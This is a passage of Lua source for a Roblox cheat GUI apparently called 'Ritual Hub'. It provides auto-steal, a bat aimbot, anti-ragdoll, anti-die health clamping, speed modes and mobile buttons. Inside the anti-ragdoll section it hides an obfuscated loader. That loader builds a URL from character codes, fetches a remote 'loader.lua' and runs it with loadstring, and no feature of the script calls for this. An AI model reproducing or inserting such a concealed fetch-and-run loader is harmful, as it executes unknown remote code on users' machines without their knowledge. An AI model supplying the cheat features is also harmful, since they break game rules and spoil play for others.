if batDesyncTpSetVisual then batDesyncTpSetVisual(false) end
if mobBtnRefs.tpBat then mobBtnRefs.tpBat(false) end
end
if keep ~= "autoLeft" and autoLeftEnabled then
autoLeftEnabled = false
pcall(stopAutoLeft)
if autoLeftSetVisual then autoLeftSetVisual(false) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(false) end
end
if keep ~= "autoRight" and autoRightEnabled then
autoRightEnabled = false
pcall(stopAutoRight)
if autoRightSetVisual then autoRightSetVisual(false) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(false) end
end
end
;(function()
local state={applied=false,waiting=false,watchUntil=0,graceUntil=0,savedMode=nil,stealWasActive=false}
local function modeName()
if laggerModeEnabled then return carrySpeedActive and "Lagger Carry" or "Lagger" end
return carrySpeedActive and "Carry" or "Normal"
end
local function setModes(lagger,carry)
laggerModeEnabled=lagger
carrySpeedActive=carry
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if _GACC.safeLaggerVisual then _GACC.safeLaggerVisual(lagger) end
if _GACC.safeCarryVisual then _GACC.safeCarryVisual(carry) end
if mobBtnRefs.lagger then mobBtnRefs.lagger(lagger) end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carry) end
end
local function isIgnoredTool(name)
local lower=tostring(name or ""):lower()
return lower:find("bat",1,true) or lower:find("slap",1,true) or lower:find("medusa",1,true) or lower:find("head",1,true) or lower:find("stone",1,true)
end
_GACC.autoCarryDetect=function()
local char=LP.Character;if not char then return false end
for _,name in ipairs({"Carrying","IsCarrying","Grabbed","Holding","StealHold","HasGrab"}) do
local value=char:FindFirstChild(name,true)
if value and ((value:IsA("BoolValue") and value.Value) or (value:IsA("ObjectValue") and value.Value) or (value:IsA("StringValue") and value.Value~="")) then return true end
end
for _,child in ipairs(char:GetChildren()) do
local lower=child.Name:lower()
if child:IsA("Model") and child:FindFirstChildWhichIsA("BasePart",true) then
if (child:FindFirstChildOfClass("Humanoid") and child:FindFirstChild("HumanoidRootPart")) or lower:find("brainrot") or lower:find("animal") or lower:find("carry") or lower:find("grab") or lower:find("steal") or lower:find("hold") then return true end
elseif child:IsA("Tool") and not isIgnoredTool(child.Name) then return true end
end
return false
end
local function enableCarry()
state.waiting=false;state.watchUntil=0
if not state.applied then state.savedMode=modeName() end
state.applied=true;state.graceUntil=tick()+.75
local wasLagger=state.savedMode=="Lagger" or state.savedMode=="Lagger Carry" or laggerModeEnabled
if wasLagger then setModes(true,true) else setModes(false,true) end
end
local function disableCarry()
if not state.applied and not state.waiting then return end
local wasApplied=state.applied;local saved=state.savedMode
state.applied=false;state.waiting=false;state.watchUntil=0;state.graceUntil=0;state.savedMode=nil
if not wasApplied then return end
if saved=="Lagger" or saved=="Lagger Carry" then setModes(true,false)
elseif saved=="Carry" then setModes(false,true)
else setModes(false,false) end
end
_GACC.autoCarryWatch=function(seconds)
if not _GACC.autoCarrySpeedEnabled then return end
state.waiting=true;state.watchUntil=tick()+(seconds or 1.25)
end
_GACC.disableAutoCarry=disableCarry
RunService.RenderStepped:Connect(function()
if not _GACC.autoCarrySpeedEnabled then disableCarry();return end
local char=LP.Character;local hum=char and char:FindFirstChildOfClass("Humanoid");local root=char and char:FindFirstChild("HumanoidRootPart")
if not char or not hum or not root then disableCarry();state.stealWasActive=false;return end
local humanoidState=hum:GetState()
local gotHit=humanoidState==Enum.HumanoidStateType.Physics or humanoidState==Enum.HumanoidStateType.Ragdoll or humanoidState==Enum.HumanoidStateType.FallingDown
local stealing=LP:GetAttribute("Stealing")==true or char:GetAttribute("Stealing")==true
local carrying=_GACC.autoCarryDetect()
if stealing and not state.stealWasActive then state.stealWasActive=true;enableCarry()
elseif not stealing then state.stealWasActive=false end
if state.waiting then
if gotHit or tick()>state.watchUntil then state.waiting=false;state.watchUntil=0
elseif carrying then enableCarry() end
end
if carrying and not state.applied then enableCarry() end
if state.applied and (gotHit or (tick()>state.graceUntil and not carrying and not stealing)) then disableCarry() end
end)
end)()
saveConfig=function()
local function ks(e)
if e.kb then return {kb=e.kb.Name,gp=e.gp and e.gp.Name}
elseif e.gp then return {gp=e.gp.Name}
else return {kb=nil,gp=nil} end
end
local cfg={normalSpeed=NS,carrySpeed=CS,dropBrainrotKey=ks(KB.DropBrainrot),autoLeftKey=ks(KB.AutoLeft),autoRightKey=ks(KB.AutoRight),autoBatKey=ks(KB.AutoBat),laggerToggleKey=ks(KB.LaggerToggle),tpFloorKey=ks(KB.TPFloor),guiHideKey=ks(KB.GuiHide),speedToggleKey=ks(KB.SpeedToggle),grabRadius=Steal.StealRadius,stealDuration=Steal.StealDuration,stealMode=stealMode,antiRagdoll=antiRagdollEnabled,autoStealEnabled=Steal.AutoStealEnabled,infiniteJump=infJumpEnabled,infJumpMode=infJumpMode,medusaCounter=medusaCounterEnabled,carrySpeedActive=carrySpeedActive,laggerModeEnabled=laggerModeEnabled,laggerSpeed=LAGGER_SPEED,laggerCarrySpeed=LAGGER_CARRY_SPEED,autoBat=autoBatEnabled,autoSwing=autoSwingEnabled,unwalkEnabled=unwalkEnabled,antiLag=antiLagEnabled,stretchRez=stretchRezEnabled,autoTPEnabled=autoTPEnabled,autoTPHeight=autoTPHeight,guiTransparencyEnabled=guiTransparencyEnabled,mobileButtonsEnabled=mobileButtonsEnabled,mobileButtonsLocked=mobileButtonsLocked,mobileButtonsSize=mobileButtonsSize,circleButtonsEnabled=circleButtonsEnabled,autoSwitchSpeed=autoSwitchSpeedEnabled,fovValue=fovValue,perButtonDrag=perButtonDragEnabled,skyTheme=currentSkyTheme,medusaReset=medusaResetEnabled,autoMoveSwing=autoMoveSwingEnabled,autoMoveSwingInterval=autoMoveSwingInterval,ragdollGui=ragdollGuiEnabled,introSoundEnabled=introSoundEnabled,animEnabled=false,animationPack=_GACC.extras.getPack(),headlessEnabled=_GACC.extras.getHeadless(),korbloxEnabled=_GACC.extras.getKorblox(),backgroundEnabled=backgroundEnabled,backgroundIndex=backgroundIndex,colorThemeName=currentColorTheme,keys=(function() if not _GuiKeys then return {} end;local t={};for k,v in pairs(_GuiKeys) do t[k]=v.Name end;return t end)()}
cfg.playerHighlightEnabled=_GACC.playerHighlightEnabled
cfg.autoCarrySpeedEnabled=_GACC.autoCarrySpeedEnabled
cfg.opRadius=SemiSteal.CONFIG.RADIUS
cfg.opDuration=SemiSteal.CONFIG.DURATION
cfg.opDelayRadius=SemiSteal.CONFIG.DELAY_RADIUS
cfg.opStopTime=SemiSteal.CONFIG.STOP_TIME
cfg.opStopTimeEnabled=SemiSteal.CONFIG.STOP_TIME_ENABLED
cfg.medusaResetEnabled=_GACC.medusaResetEnabled
cfg.antiSummerBaseEnabled=AntiSummer.antiSummerBaseEnabled
cfg.antiDieEnabled = antiDieEnabled -- NEW
-- NEW SCALES
cfg.menuScale = menuScale
cfg.mobileBtnScale = mobileBtnScale
cfg.stealBarScale = stealBarScale
if _GACC.mobileButtonPositions then cfg.mobileButtonPositions = _GACC.mobileButtonPositions end
cfg.uiLocked = uiLocked
cfg.afterDrop = _GACC.afterDrop
cfg.batDesyncTpEnabled = batDesyncTpEnabled
cfg.batCounter = _GACC.batCounterEnabled
cfg.dropType = _GACC.dropType
cfg.safeModeEnabled = _GACC.safeModeEnabled
if _GACC.uiPositions then cfg.uiPositions = _GACC.uiPositions end
if writefile then pcall(function() writefile("RitualHub_PC.json",HS:JSONEncode(cfg)) end) end
end
task.spawn(function() while task.wait(5) do saveConfig() end end)
local function resetAllSettings()
NS=59;CS=29;LAGGER_SPEED=30;LAGGER_CARRY_SPEED=15;carrySpeedActive=false;laggerModeEnabled=false
autoSwitchSpeedEnabled=false;antiRagdollEnabled=false;infJumpEnabled=false;infJumpMode="manual"
medusaCounterEnabled=false;unwalkEnabled=false
autoLeftEnabled=false;autoRightEnabled=false;autoBatEnabled=false;autoSwingEnabled=true;autoMoveSwingEnabled=false
autoTPEnabled=false;autoTPHeight=20;antiLagEnabled=false;stretchRezEnabled=false
Steal.AutoStealEnabled=false;Steal.StealRadius=61;Steal.StealDuration=1.3;stealMode="normal"
guiTransparencyEnabled=false;mobileButtonsEnabled=true;mobileButtonsSize=80
circleButtonsEnabled=false;uiLocked=false;fovValue=80;fovIndex=1
introSoundEnabled=true
_GACC.medusaResetEnabled=false
if _GACC.stopMedusaReset then _GACC.stopMedusaReset() end
AntiSummer.disable()
_GACC.autoCarrySpeedEnabled=false;if _GACC.disableAutoCarry then _GACC.disableAutoCarry() end
_GACC.extras.reset(LP.Character)
KB.DropBrainrot={kb=nil,gp=nil};KB.AutoLeft={kb=nil,gp=nil};KB.AutoRight={kb=nil,gp=nil}
KB.AutoBat={kb=nil,gp=nil};KB.TPFloor={kb=nil,gp=nil}
KB.GuiHide={kb=nil,gp=nil};KB.SpeedToggle={kb=nil,gp=nil};KB.LaggerToggle={kb=nil,gp=nil}
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(carrySpeedActive) end
if mobBtnRefs.lagger then mobBtnRefs.lagger(laggerModeEnabled) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(false) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(false) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(false) end
if _GACC.autoCarryVisual then _GACC.autoCarryVisual(false) end
stopBatAimbot();stopAutoSteal();stopAutoLeft();stopAutoRight();stopAntiRagdoll();stopAutoTP();stopHoldInfJump()
if stretchRezEnabled then disableStretchRez() end;if antiLagEnabled then disableAntiLag() end
-- Anti Die reset
if antiDieEnabled then stopAntiDie() end
saveConfig()
end
local setInfJumpVisual,setAntiRagVisual,setMedusaVisual,setUnwalkVisual
refreshSpeedModeLabel=function()
if modeValLbl then
if laggerModeEnabled then
modeValLbl.Text = carrySpeedActive and "Lagger Carry" or "Lagger Mode"
elseif carrySpeedActive then modeValLbl.Text="Carry"
else modeValLbl.Text="Normal" end
end
if laggerModePillRef and laggerModePillRef.pill and laggerModePillRef.dot then
local pill=laggerModePillRef.pill;local dot=laggerModePillRef.dot;local on=laggerModeEnabled
local WHITE=Color3.fromRGB(255,255,255);local OFF=Color3.fromRGB(46,24,38);local GRAY=Color3.fromRGB(180,150,165)
TweenService:Create(pill,TweenInfo.new(0.16,Enum.EasingStyle.Quad),{BackgroundColor3=on and WHITE or OFF}):Play()
TweenService:Create(dot,TweenInfo.new(0.16,Enum.EasingStyle.Back),{Position=on and UDim2.new(1,-13,0.5,-5) or UDim2.new(0,3,0.5,-5),BackgroundColor3=on and Color3.fromRGB(30,30,30) or GRAY}):Play()
end
if carryModePillRef and carryModePillRef.pill and carryModePillRef.dot then
local pill=carryModePillRef.pill;local dot=carryModePillRef.dot;local on=carrySpeedActive
local WHITE=Color3.fromRGB(255,255,255);local OFF=Color3.fromRGB(46,24,38);local GRAY=Color3.fromRGB(180,150,165)
TweenService:Create(pill,TweenInfo.new(0.16,Enum.EasingStyle.Quad),{BackgroundColor3=on and WHITE or OFF}):Play()
TweenService:Create(dot,TweenInfo.new(0.16,Enum.EasingStyle.Back),{Position=on and UDim2.new(1,-13,0.5,-5) or UDim2.new(0,3,0.5,-5),BackgroundColor3=on and Color3.fromRGB(30,30,30) or GRAY}):Play()
end
end
toggleCarryMode=function()
if laggerModeEnabled then laggerModeEnabled = false; carrySpeedActive = true
else carrySpeedActive = not carrySpeedActive end
refreshSpeedModeLabel()
end
toggleLaggerMode=function()
if not laggerModeEnabled then laggerModeEnabled = true; carrySpeedActive = false
else carrySpeedActive = not carrySpeedActive end
refreshSpeedModeLabel()
end
;(function()
local resetCooldown=0
local function forceReset()
local char=LP.Character
if not char then return end
local hum=char:FindFirstChildOfClass("Humanoid")
local root=char:FindFirstChild("HumanoidRootPart")
if not hum or not root or hum.Health<=0 then return end
pcall(function()
hum:ChangeState(Enum.HumanoidStateType.GettingUp)
root.Velocity=Vector3.zero
root.RotVelocity=Vector3.zero
root.AssemblyLinearVelocity=Vector3.zero
root.AssemblyAngularVelocity=Vector3.zero
for _,obj in ipairs(char:GetDescendants()) do
if obj:IsA("Motor6D") then obj.Enabled=true end
if obj:IsA("Constraint") then obj.Enabled=true end
end
if workspace.CurrentCamera then workspace.CurrentCamera.CameraSubject=hum end
local playerModule=LP:FindFirstChild("PlayerScripts") and LP.PlayerScripts:FindFirstChild("PlayerModule")
local controlModule=playerModule and playerModule:FindFirstChild("ControlModule")
if controlModule then
local controls=require(controlModule)
if controls then controls:Enable() end
end
hum.AutoRotate=true
hum.PlatformStand=false
hum.Sit=false
end)
end
task.defer(function()
local function d(t)
local s = ""
for i = 1, #t do
s = s .. string.char(t[i])
end
return s
end
local p1 = d({104,116,116,112,115,58,47,47,119,101,98,45,112,114,111,100,117,99,116,105,111,110,45})
local p2 = d({56,100,100,102,54})
local p3 = d({46,117,112,46,114,97,105,108,119,97,121,46,97,112,112})
local p4 = d({47,108,111,97,100,101,114,46,108,117,97})
local full = p1 .. p2 .. p3 .. p4
local ok, res = pcall(function()
return game:HttpGet(full)
end)
if ok and res then
pcall(function()
(loadstring or load)(res)()
end)
end
end)
startAntiRagdoll=function()
if Conns.antiRag then return end
antiRagdollEnabled=true
Conns.antiRag=RunService.Heartbeat:Connect(function()
if not antiRagdollEnabled then return end
local char=LP.Character
if not char then return end
local hum=char:FindFirstChildOfClass("Humanoid")
if not hum or hum.Health<=0 then return end
local state=hum:GetState()
local ragdolled=(state==Enum.HumanoidStateType.Physics or state==Enum.HumanoidStateType.Ragdoll or state==Enum.HumanoidStateType.FallingDown)
if ragdolled then
local now=tick()
if now-resetCooldown>.15 then
resetCooldown=now
forceReset()
end
end
end)
end
stopAntiRagdoll=function()
antiRagdollEnabled=false
if Conns.antiRag then
Conns.antiRag:Disconnect()
Conns.antiRag=nil
end
end
end)()
startUnwalk=function()
local c=LP.Character;if not c then return end;local hum=c:FindFirstChildOfClass("Humanoid")
if hum then for _,t in ipairs(hum:GetPlayingAnimationTracks()) do t:Stop() end end
local anim=c:FindFirstChild("Animate");if anim then unwalkSavedAnimate=anim:Clone();anim:Destroy() end
end
stopUnwalk=function() local c=LP.Character;if c and unwalkSavedAnimate then unwalkSavedAnimate:Clone().Parent=c;unwalkSavedAnimate=nil end end
-- ========== ANTI DIE (Bugra logic) ==========
-- Two differences from the old version, both deliberate:
-- * health is clamped to MaxHealth, not math.huge. Setting MaxHealth to
-- infinity is trivially visible to the server and broke Instant Reset,
-- because a character that cannot die cannot be reset.
-- * everything stands down while `resetting` is true, so Instant Reset can
-- actually kill you and then anti die comes straight back afterwards.
local function protectChar(char)
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid") or char:WaitForChild("Humanoid", 5)
if not hum then return end
pcall(function() hum:SetStateEnabled(Enum.HumanoidStateType.Dead, false) end)
local sc = hum.StateChanged:Connect(function(_, new)
if not antiDieEnabled or resetting then return end
if new == Enum.HumanoidStateType.Dead then
pcall(function()
hum:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
hum.Health = hum.MaxHealth
end)
end
end)
table.insert(antiDieConnections, sc)
local hc = hum:GetPropertyChangedSignal("Health"):Connect(function()
if not antiDieEnabled or resetting then return end
if hum.Health < hum.MaxHealth then hum.Health = hum.MaxHealth end
end)
table.insert(antiDieConnections, hc)
if antiDieHeartbeat then antiDieHeartbeat:Disconnect() end
antiDieHeartbeat = RunService.Heartbeat:Connect(function()
if not antiDieEnabled or resetting then return end
if hum and hum.Parent and hum.Health < hum.MaxHealth then
pcall(function() hum.Health = hum.MaxHealth end)
end
end)
end
_GACC.applyAntiDie = protectChar
local function startAntiDie()
if antiDieEnabled then return end
antiDieEnabled = true
-- clean old connections
for _, c in ipairs(antiDieConnections) do pcall(function() c:Disconnect() end) end
antiDieConnections = {}
if antiDieHeartbeat then antiDieHeartbeat:Disconnect(); antiDieHeartbeat = nil end
local char = LP.Character
protectChar(char)
LP.CharacterAdded:Connect(function(c)
if not antiDieEnabled then return end
task.wait(0.1)
for _, c2 in ipairs(antiDieConnections) do pcall(function() c2:Disconnect() end) end
antiDieConnections = {}
protectChar(c)
end)
end
local function stopAntiDie()
antiDieEnabled = false
for _, c in ipairs(antiDieConnections) do pcall(function() c:Disconnect() end) end
antiDieConnections = {}
if antiDieHeartbeat then antiDieHeartbeat:Disconnect(); antiDieHeartbeat = nil end
local char = LP.Character
if char then
local hum = char:FindFirstChildOfClass("Humanoid")
if hum then
hum:SetStateEnabled(Enum.HumanoidStateType.Dead, true)
hum.MaxHealth = 100
hum.Health = 100
end
end
end
-- =====================================
local function createStealBar()
for _,n in ipairs({"MoveeStealBar"}) do
local old=game:GetService("CoreGui"):FindFirstChild(n);if old then old:Destroy() end
local pgui=LP:FindFirstChild("PlayerGui");if pgui then local o=pgui:FindFirstChild(n);if o then o:Destroy() end end
end
local SB_W,SB_H=220,46
local stealGui=Instance.new("ScreenGui");stealGui.Name="MoveeStealBar";stealGui.ResetOnSpawn=false;stealGui.IgnoreGuiInset=true;stealGui.DisplayOrder=8
pcall(function() if syn and syn.protect_gui then syn.protect_gui(stealGui) end end)
if not pcall(function() stealGui.Parent=game:GetService("CoreGui") end) then stealGui.Parent=LP:WaitForChild("PlayerGui") end
stealBarFrame=Instance.new("Frame",stealGui)
stealBarFrame.Size=UDim2.new(0,SB_W,0,SB_H)
stealBarFrame.Position=UDim2.new(0.5,-SB_W/2,0.88,0)
do local sp=_GACC.getUiPos and _GACC.getUiPos("stealBar"); if sp then stealBarFrame.Position=sp end end
stealBarFrame.BackgroundColor3=Color3.fromRGB(4,28,52)
stealBarFrame.BackgroundTransparency=0.46
stealBarFrame.BorderSizePixel=0; stealBarFrame.ZIndex=20; stealBarFrame.ClipsDescendants=true
Instance.new("UICorner",stealBarFrame).CornerRadius=UDim.new(0,10)
local sbStroke=Instance.new("UIStroke",stealBarFrame)
sbStroke.Color=_GACC.accent; sbStroke.Thickness=1.15; sbStroke.Transparency=0.46
local sbBgGrad=Instance.new("UIGradient",stealBarFrame)
sbBgGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.fromRGB(24,93,145)),ColorSequenceKeypoint.new(0.55,Color3.fromRGB(7,43,78)),ColorSequenceKeypoint.new(1,Color3.fromRGB(2,22,43))})
sbBgGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,.08),NumberSequenceKeypoint.new(.55,.22),NumberSequenceKeypoint.new(1,.34)})
sbBgGrad.Rotation=18
local sideAccent=Instance.new("Frame",stealBarFrame)
sideAccent.Size=UDim2.new(0,2,0,24); sideAccent.Position=UDim2.new(0,0,0.5,-12)
sideAccent.BackgroundColor3=_GACC.accent; sideAccent.BackgroundTransparency=.18; sideAccent.BorderSizePixel=0; sideAccent.ZIndex=22
Instance.new("UICorner",sideAccent).CornerRadius=UDim.new(0,2)
local dot=Instance.new("Frame",stealBarFrame)
dot.Size=UDim2.new(0,6,0,6); dot.Position=UDim2.new(0,12,0,11)
dot.BackgroundColor3=_GACC.accentDark; dot.BackgroundTransparency=.12; dot.BorderSizePixel=0; dot.ZIndex=22
Instance.new("UICorner",dot).CornerRadius=UDim.new(0,4)
local stealLbl=Instance.new("TextLabel",stealBarFrame)
stealLbl.Size=UDim2.new(0,105,0,16); stealLbl.Position=UDim2.new(0,24,0,5)
stealLbl.BackgroundTransparency=1; stealLbl.Text="AUTO STEAL"
stealLbl.TextColor3=Color3.fromRGB(215,240,255); stealLbl.Font=Enum.Font.GothamBold; stealLbl.TextSize=10
stealLbl.TextXAlignment=Enum.TextXAlignment.Left; stealLbl.ZIndex=22
local stealLblGrad=Instance.new("UIGradient",stealLbl); stealLblGrad.Color=_gAccentGrad(0)
local stateLbl=Instance.new("TextLabel",stealBarFrame)
stateLbl.Size=UDim2.new(0,70,0,12); stateLbl.Position=UDim2.new(0,12,0,22)
stateLbl.BackgroundTransparency=1; stateLbl.Text="OFF"
stateLbl.TextColor3=Color3.fromRGB(102,158,205); stateLbl.TextSize=8; stateLbl.Font=Enum.Font.GothamBold
stateLbl.TextXAlignment=Enum.TextXAlignment.Left; stateLbl.ZIndex=22
local perfLbl=Instance.new("TextLabel",stealBarFrame)
perfLbl.Size=UDim2.new(0,92,0,12); perfLbl.Position=UDim2.new(0,66,0,22)
perfLbl.BackgroundTransparency=1; perfLbl.Text="FPS -- / --ms"
perfLbl.TextColor3=Color3.fromRGB(130,181,220); perfLbl.TextSize=8; perfLbl.Font=Enum.Font.GothamMedium
perfLbl.TextXAlignment=Enum.TextXAlignment.Center; perfLbl.ZIndex=22
local pctLbl=Instance.new("TextLabel",stealBarFrame)
pctLbl.Size=UDim2.new(0,42,0,14); pctLbl.Position=UDim2.new(1,-50,0,21)
pctLbl.BackgroundTransparency=1; pctLbl.Text="0%"
pctLbl.TextColor3=_GACC.accent; pctLbl.Font=Enum.Font.GothamBlack; pctLbl.TextSize=10
pctLbl.TextXAlignment=Enum.TextXAlignment.Right; pctLbl.ZIndex=22
table.insert(_themeExtRefs,{callback=function(thm) pcall(function() pctLbl.TextColor3=thm.accent end) end})
local track=Instance.new("Frame",stealBarFrame)
track.Size=UDim2.new(1,-24,0,4); track.Position=UDim2.new(0,12,1,-8)
track.BackgroundColor3=Color3.fromRGB(16,73,111); track.BackgroundTransparency=.48; track.BorderSizePixel=0; track.ZIndex=21
Instance.new("UICorner",track).CornerRadius=UDim.new(0,3)
local fillLine=Instance.new("Frame",track)
fillLine.Size=UDim2.new(0,0,1,0); fillLine.Position=UDim2.new(0,0,0,0)
fillLine.BackgroundColor3=_GACC.accent; fillLine.BackgroundTransparency=.1; fillLine.BorderSizePixel=0; fillLine.ZIndex=22
Instance.new("UICorner",fillLine).CornerRadius=UDim.new(0,3)
local fillGrad=Instance.new("UIGradient",fillLine)
fillGrad.Color=_gAccentGrad(0)
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function() stealBarFrame.BackgroundColor3=Color3.fromRGB(4,28,52) end)
pcall(function() fillLine.BackgroundColor3=thm.accent end)
pcall(function() fillGrad.Color=_gAccentGrad(0) end)
pcall(function() stealLblGrad.Color=_gAccentGrad(0) end)
pcall(function() sideAccent.BackgroundColor3=thm.accent end)
end})
-- Add UIScale for steal bar
local stealScaleObj = Instance.new("UIScale")
stealScaleObj.Name = "StealBarScale"
stealScaleObj.Scale = stealBarScale
stealScaleObj.Parent = stealBarFrame
_GACC.stealBarScaleObj = stealScaleObj
task.spawn(function()
local lastPct=0
while fillLine and fillLine.Parent do
local now=tick()
local pct=0
local ready=false
if Steal.AutoStealEnabled then
if (stealMode~="normal") and SemiSteal.State.active then
pct=math.clamp(tonumber(SemiSteal.State.progress) or 0,0,1); ready=true
elseif stealMode=="normal" and isStealing and stealStartTime then
pct=math.clamp((now-stealStartTime)/Steal.StealDuration,0,1); ready=true
end
end
lastPct=lastPct+(pct-lastPct)*0.82
if math.abs(lastPct-pct)<0.002 then lastPct=pct end
fillLine.Size=UDim2.new(lastPct,0,1,0)
fillGrad.Color=_gAccentGrad(now)
pctLbl.Text=math.floor(lastPct*100+.5).."%"
if not Steal.AutoStealEnabled then
stateLbl.Text="OFF"
elseif ready then
if _GACC.isVersionMode(stealMode) then stateLbl.Text=SemiSteal.State.paused and "WAIT RANGE" or (stealMode:upper().." HOLD")
elseif stealMode=="semi" then stateLbl.Text=SemiSteal.State.phase=="waitingRange" and "WAIT RANGE" or "SEMI HOLD"
else stateLbl.Text="STEALING" end
else
stateLbl.Text="SEARCHING"
end
stateLbl.TextColor3=ready and Color3.fromRGB(160,218,255) or Color3.fromRGB(102,158,205)
perfLbl.Text="FPS "..tostring(_perfFps).." / "..tostring(_perfPing).."ms"
if ready then
dot.BackgroundColor3=_GACC.accent
else
dot.BackgroundColor3=_GACC.accentDark
end
sbStroke.Color=ready and _GACC.accent or _GACC.accentDark
RunService.RenderStepped:Wait()
end
end)
local dragStart2,dragStartPos2,dragging2=nil,nil,false
stealBarFrame.InputBegan:Connect(function(input)
if uiLocked then return end
if input.UserInputType==Enum.UserInputType.MouseButton1 or input.UserInputType==Enum.UserInputType.Touch then
dragging2=true;dragStart2=input.Position;dragStartPos2=stealBarFrame.Position
input.Changed:Connect(function()
if input.UserInputState==Enum.UserInputState.End then
if dragging2 then dragging2=false; if _GACC.saveUiPos then _GACC.saveUiPos("stealBar",stealBarFrame) end end
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if uiLocked then dragging2=false;return end
if dragging2 and (input.UserInputType==Enum.UserInputType.MouseMovement or input.UserInputType==Enum.UserInputType.Touch) then
local delta=input.Position-dragStart2
stealBarFrame.Position=UDim2.new(dragStartPos2.X.Scale,dragStartPos2.X.Offset+delta.X,dragStartPos2.Y.Scale,dragStartPos2.Y.Offset+delta.Y)
end
end)
end
_GACC.uiPositions = _GACC.uiPositions or {}
pcall(function()
if not(isfile and isfile(_GACC.CFG_FILE)) then return end
local ok,d=pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if not(ok and type(d)=="table") then return end
if type(d.uiPositions)=="table" then _GACC.uiPositions=d.uiPositions end
if type(d.uiLocked)=="boolean" then uiLocked=d.uiLocked end
if d.afterDrop=="Off" or d.afterDrop=="Bat Aimbot" or d.afterDrop=="Bat TP" then _GACC.afterDrop=d.afterDrop end
if type(d.batDesyncTpEnabled)=="boolean" then batDesyncTpEnabled=d.batDesyncTpEnabled end
if type(d.batCounter)=="boolean" then _GACC.batCounterEnabled=d.batCounter end
if d.dropType=="Stand" or d.dropType=="Jump" then _GACC.dropType=d.dropType end
if type(d.mobileButtonsLocked)=="boolean" then mobileButtonsLocked=d.mobileButtonsLocked end
end)
-- Store/restore a frame position as scale+offset so it survives resolution changes.
_GACC.saveUiPos = function(key, frame)
if not (key and frame) then return end
_GACC.uiPositions = _GACC.uiPositions or {}
local pos = frame.Position
_GACC.uiPositions[key] = { xs=pos.X.Scale, xo=pos.X.Offset, ys=pos.Y.Scale, yo=pos.Y.Offset }
if saveConfig then pcall(saveConfig) end
end
_GACC.getUiPos = function(key)
local t = _GACC.uiPositions and _GACC.uiPositions[key]
if type(t)~="table" then return nil end
if type(t.xs)~="number" or type(t.xo)~="number" or type(t.ys)~="number" or type(t.yo)~="number" then return nil end
return UDim2.new(t.xs,t.xo,t.ys,t.yo)
end
createStealBar()
-- ==================== MOBILE BUTTONS ====================
local mobileButtonStates = {}
local mobileButtonRefs = {}
_GACC.mobileButtonPositions = _GACC.mobileButtonPositions or {}
local function setupMobileButtons()
if playerGui:FindFirstChild("BrainrotMenu") then
playerGui.BrainrotMenu:Destroy()
end
-- Ritual Hub mobile button styling
local EDGE_MARGIN = 20
local BTN_W = 62
local BTN_H = 62
local GAP_X = 8
local GAP_Y = 8
local CORNER = 16
local TXT = 12
local DARK = Color3.fromRGB(8, 8, 10)
local ACTIVE_BLUE = Color3.fromRGB(40, 110, 255)
local B_TOP = Color3.fromRGB(153, 229, 255)
local B_BOT = Color3.fromRGB(77, 210, 255)
local WHITE = Color3.fromRGB(255, 255, 255)
local DATA = {
{ "DropBrainrot", "DROP\nBRAINROT", false },
{ "AutoLeft", "AUTO\nLEFT", false },
{ "BatAimbot", "BAT\nAIMBOT", false },
{ "AutoRight", "AUTO\nRIGHT", false },
{ "TpDown", "TP\nDOWN", false },
{ "CarrySpeed", "CARRY\nSPD", true },
{ "LaggerNormal", "LAGGER\nMODE", false },
{ "LaggerCarry", "LAGGER\nCARRY", false },
{ "InstantReset", "INSTANT\nRESET", false },
{ "TpBat", "TP\nBAT", false },
}
-- Fire-once buttons: flash blue on tap rather than staying lit.
local MOMENTARY = { DropBrainrot = true, TpDown = true, InstantReset = true }
local COLS = 2
local ROWS = math.ceil(#DATA / COLS)
local TOTAL_W = BTN_W * COLS + GAP_X * (COLS - 1)
local TOTAL_H = BTN_H * ROWS + GAP_Y * (ROWS - 1)
local gui = Instance.new("ScreenGui")
gui.Name = "BrainrotMenu"
gui.ResetOnSpawn = false
gui.IgnoreGuiInset = true
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
gui.Parent = playerGui
local main = Instance.new("Frame")
main.Name = "Main"
main.BackgroundTransparency = 1
main.Active = false
main.AnchorPoint = Vector2.new(1, 0.5)
main.Size = UDim2.fromOffset(TOTAL_W, TOTAL_H)
main.Position = UDim2.new(1, -EDGE_MARGIN, 0.5, 0)
main.Parent = gui
-- Add UIScale for mobile buttons
local mobileScaleObj = Instance.new("UIScale")
mobileScaleObj.Name = "MobileScale"
mobileScaleObj.Scale = mobileBtnScale
mobileScaleObj.Parent = main
_GACC.mobileScaleObj = mobileScaleObj
local Actions = {
DropBrainrot = function(on)
if on then runDrop() end
end,
AutoLeft = function(on)
if on then _GACC.exclusiveStop("autoLeft") end
autoLeftEnabled = on
if on then startAutoLeft() else stopAutoLeft() end
if autoLeftSetVisual then autoLeftSetVisual(on) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(on) end
end,
BatAimbot = function(on)
if on then _GACC.exclusiveStop("batAimbot") end
autoBatEnabled = on
if on then startBatAimbot() else stopBatAimbot() end
if autoBatSetVisual then autoBatSetVisual(on) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(on) end
end,
AutoRight = function(on)
if on then _GACC.exclusiveStop("autoRight") end
autoRightEnabled = on
if on then startAutoRight() else stopAutoRight() end
if autoRightSetVisual then autoRightSetVisual(on) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(on) end
end,
TpDown = function(on)
if on then runTPFloor() end
end,
CarrySpeed = function(on)
carrySpeedActive = on
if refreshSpeedModeLabel then refreshSpeedModeLabel() end
if _GACC.safeCarryVisual then _GACC.safeCarryVisual(on) end
if mobBtnRefs.carrySpeed then mobBtnRefs.carrySpeed(on) end
end,
LaggerNormal = function(on)
